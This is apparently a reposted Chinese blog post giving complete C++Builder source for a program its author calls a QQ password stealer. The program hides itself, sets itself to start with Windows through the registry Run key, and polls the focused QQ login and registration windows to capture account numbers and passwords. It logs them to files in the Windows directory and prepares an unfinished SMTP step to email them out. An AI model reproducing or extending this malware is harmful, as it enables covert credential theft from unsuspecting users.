QQ密码窃取程序

来源：互联网发布：英国经济数据查询网站编辑：程序博客网时间：2024/04/29 22:52

作者:gzc (编程工具何其多,我却偏爱BCB)

// 头文件q.h
//---------------------------------------------------------------------------

#ifndef qH
#define qH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ExtCtrls.hpp>
#include <Mask.hpp>
#include <Buttons.hpp>
#include <NMsmtp.hpp>
#include <Psock.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
        TTimer *Timer1;
        TLabel *Label1;
        TLabel *Label3;
        TBitBtn *BitBtn1;
        TLabel *Label5;
        TLabel *Label6;
        TEdit *Edit1;
        TEdit *Edit2;
        TBitBtn *BitBtn2;
        TEdit *Edit3;
        TEdit *Edit4;
        TBevel *Bevel1;
        TMemo *Memo1;
        TNMSMTP *NMSMTP1;
        void __fastcall Timer1Timer(TObject *Sender);
        void __fastcall FormCreate(TObject *Sender);
        void __fastcall BitBtn1Click(TObject *Sender);
        void __fastcall FormShow(TObject *Sender);
        void __fastcall BitBtn2Click(TObject *Sender);
        void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
private: // User declarations
public:  // User declarations
        __fastcall TForm1(TComponent* Owner);
   void __fastcall TForm1::GetEditText(void); //自定义的函数
   void __fastcall TForm1::WriteFile(void);   //自定义的函数

};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
//---------------------------------------------------------------------------
#endif

//***************************************************************************
//***************************************************************************

// 头文件q1.h
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
USERES("q1.res");
USEFORM("q.cpp", Form1);
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
        try
        {
                 Application->Initialize();
                 Application->CreateForm(__classid(TForm1), &Form1);
                 Application->ShowMainForm = false;       //隐藏窗体
                 ShowWindow(Application->Handle, SW_HIDE);//隐藏任务栏图标
                 Application->Run();
        }
        catch (Exception &exception)
        {
                 Application->ShowException(&exception);
        }
        return 0;
}
//---------------------------------------------------------------------------
//***************************************************************************
//***************************************************************************

// 程序清单q.cpp
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "q.h"
#include<registry.hpp>
#include<stdio.h>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"

TForm1 *Form1;
int HelpMode=0;                       //设置帮助显示或关闭
MSG *Msg=new MSG();                   //定义消息指针
char WINDIR[MAX_PATH];                //定义Windows目录
int Count;                            //获取的QQ号码个数
//---------------------------------------------------------------------------

__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
WaitMessage();                        //等待消息
if(PeekMessage(Msg,Application->Handle,WM_HOTKEY,WM_HOTKEY,PM_REMOVE))
   {                                   //若获取了热键消息
    if(Msg->wParam==0x1000)            //若是Ctrl+Alt+Q热键则退出
      {
      delete Msg;
      UnregisterHotKey(Handle,0x1000); //注销热键
      UnregisterHotKey(Handle,0x1001);
      Application->Terminate();
      }
    else if(Msg->wParam==0x1001)       //若是Ctrl+Alt+P热键则显示主窗体
      {
      ShowWindow(Application->Handle,SW_SHOW);
      Application->MainForm->Visible=true;
      }
   }
else GetEditText();                    //通过时钟不断检测Edit框中的字符
}
//---------------------------------------------------------------------------

bool IsEdit(HWND hwnd) //判断焦点是否在Edit框中
{
char classname[20];
if(!GetClassName(hwnd,classname,20)||strcmp("Edit",classname)!=0) return false;
else return true;
}
//---------------------------------------------------------------------------

bool IsPasswordEdit(HWND hwnd) //判断焦点是否具有密码输入风格
{
char classname[20];
DWORD dwStyle=GetWindowLong(hwnd,GWL_STYLE);
if((dwStyle&ES_PASSWORD)==0) return false;
else return true;
}
//---------------------------------------------------------------------------

bool IsComboBox(HWND hwnd)             //判断焦点是否在ComboBox框中
{
char classname[20];
if(!GetClassName(hwnd,classname,20)||strcmp("ComboBox",classname)!=0) return false;
else return true;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::WriteFile(void) //把获取的信息写入文件
{
FILE *fp1,*fp2;
AnsiString text,textfile,inifile;
Count+=1;
text=Label1->Caption+Edit3->Text+" "+Label3->Caption+Edit4->Text;
textfile=AnsiString(WINDIR)+"//result.txt";
fp1=fopen(textfile.c_str(),"a+");
fprintf(fp1,"%s/n",text.c_str());
fclose(fp1);
inifile=AnsiString(WINDIR)+"//result.ini";
fp2=fopen(inifile.c_str(),"w");
fprintf(fp2,"%d/n",Count);
fclose(fp2);
if(Count>=Edit2->Text.ToInt())           //如果获取的QQ号码数超过设定数,那么发送邮件
   {
      //这段发送E-mail的代码有待于研究
   }
Edit3->Clear();Edit4->Clear();          //清除Edit中的文本，防止QQ主窗体为焦点窗体时重复写文件
}
//---------------------------------------------------------------------------

void __fastcall TForm1::GetEditText(void)
{
char str[255],Title[50],Button[20];
HWND hwndFore,hwndFocus;
DWORD dwThreadId;

hwndFore=GetForegroundWindow();                   //获取前台工作窗口的句柄
dwThreadId=GetWindowThreadProcessId(hwndFore,0); //获取前台工作窗口所属线程的标识
AttachThreadInput(GetCurrentThreadId(),dwThreadId,true); //获取对象线程的有输入焦点窗口
hwndFocus=GetFocus();                             //获取有输入焦点窗口的句柄
GetWindowText(hwndFore,Title,255);                //获取具有焦点的主窗口的标题

//*******************************************************************************************
if(strcmp("QQ用户登录",Title)==0)
{
if(IsComboBox(hwndFocus))                 //如果焦点是ComboBox框，那么获取ComboBox框中的文本并显示在Edit3中。
      {
      SendMessage(hwndFocus,WM_GETTEXT,255,(long)str);
      Edit3->Text=str;
      }
if(IsEdit(hwndFocus))                     //如果焦点是Edit框，那么获取Edit框中的文本并显示在Edit4中。
      {
      SendMessage(hwndFocus,WM_GETTEXT,255,(long)str);
      Edit4->Text=str;
      }
}
//*******************************************************************************************
else if(strcmp("QQ 注册向导",Title)==0)
   {
    if(IsEdit(hwndFocus))                     //如果焦点是Edit框。
      {
      if(IsPasswordEdit(hwndFocus))           //如果Edit框具有密码输入风格，那么获取Edit框中的文本并显示在Edit4中。
        {
        SendMessage(hwndFocus,WM_GETTEXT,255,(long)str);
        Edit4->Text=str;
        }
      else                                    // 否则获取Edit框中的文本并显示在Edit3中
        {
        SendMessage(hwndFocus,WM_GETTEXT,255,(long)str);
        Edit3->Text=str;
        }
      }
}
//*******************************************************************************************
GetWindowText(hwndFore,Title,255);            //再次获取焦点窗口的标题，判断是否成功登录
if((strcmp(Edit3->Text.c_str(),Title)==0)&&Edit3->Text!=""&&Edit4->Text!="")
    WriteFile();                              //如果密码有效，用户登录成功则把号码和密码写到文件，并将Count写入ini文件中
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)
{
FILE *fp;
AnsiString inifile,exefile;
GetWindowsDirectory(WINDIR,MAX_PATH); //获取Windows系统目录,以便把result.???文件写在系统目录下

exefile=ParamStr(0); //获取程序全名（包括路径）
TRegistry *pReg=new TRegistry(); //写注册表，让程序每次自动随Windows而启动
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("software//Microsoft//Windows//CurrentVersion//Run",false);
pReg->WriteString("syspower",exefile);
pReg->CloseKey();
delete pReg;

inifile=AnsiString(WINDIR)+"//result.ini"; //程序启动时从ini文件中读取已经获得的QQ个数
fp=fopen(inifile.c_str(),"r");
if(fp!=NULL) fscanf(fp,"%d/n",&Count);
else Count=0;
fclose(fp);
//注册系统热键
RegisterHotKey(Application->Handle,0x1000,MOD_CONTROL+MOD_ALT,'Q');
RegisterHotKey(Application->Handle,0x1001,MOD_CONTROL+MOD_ALT,'P');

}
//---------------------------------------------------------------------------

void __fastcall TForm1::BitBtn1Click(TObject *Sender)
{ //隐藏主窗体
ShowWindow(Application->Handle, SW_HIDE);
Application->MainForm->Visible = false;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::BitBtn2Click(TObject *Sender)
{ //帮助信息的显示与关闭
HelpMode+=1;
if(HelpMode%2==1)Form1->Height=244;
if(HelpMode%2==0)Form1->Height=123;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormShow(TObject *Sender)
{ //初始化窗体
HelpMode=0;
Form1->Left=0;
Form1->Top=0;
Form1->Height=123;
BitBtn1->SetFocus();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
delete Msg;
UnregisterHotKey(Handle,0x1000); //注销热键
UnregisterHotKey(Handle,0x1001);
}
//---------------------------------------------------------------------------

另外还要请教大家一个问题，当我的程序在后台运行后，容易造成系统资源不足，会不会是Timer的时间设置问题？？我设置的是150，因为我是实时监测活动窗口的，没有用HOOK，所以我有时也很费解，希望各位高手解惑！

Form上有4个Label,4个Edit。

Label1->Caption="QQ号码：”
Label2->Caption="QQ密码：”
Label3->Caption="E-mail：”
Label4->Caption="设置号码发送间隔：”

Edit1用来输入要发送到的E-mail
Edit2用来输入设置号码发送间隔
Edit3用来保存QQ号码
Edit4用来保存QQ密码

另外还有一个Timer、NMSMTP。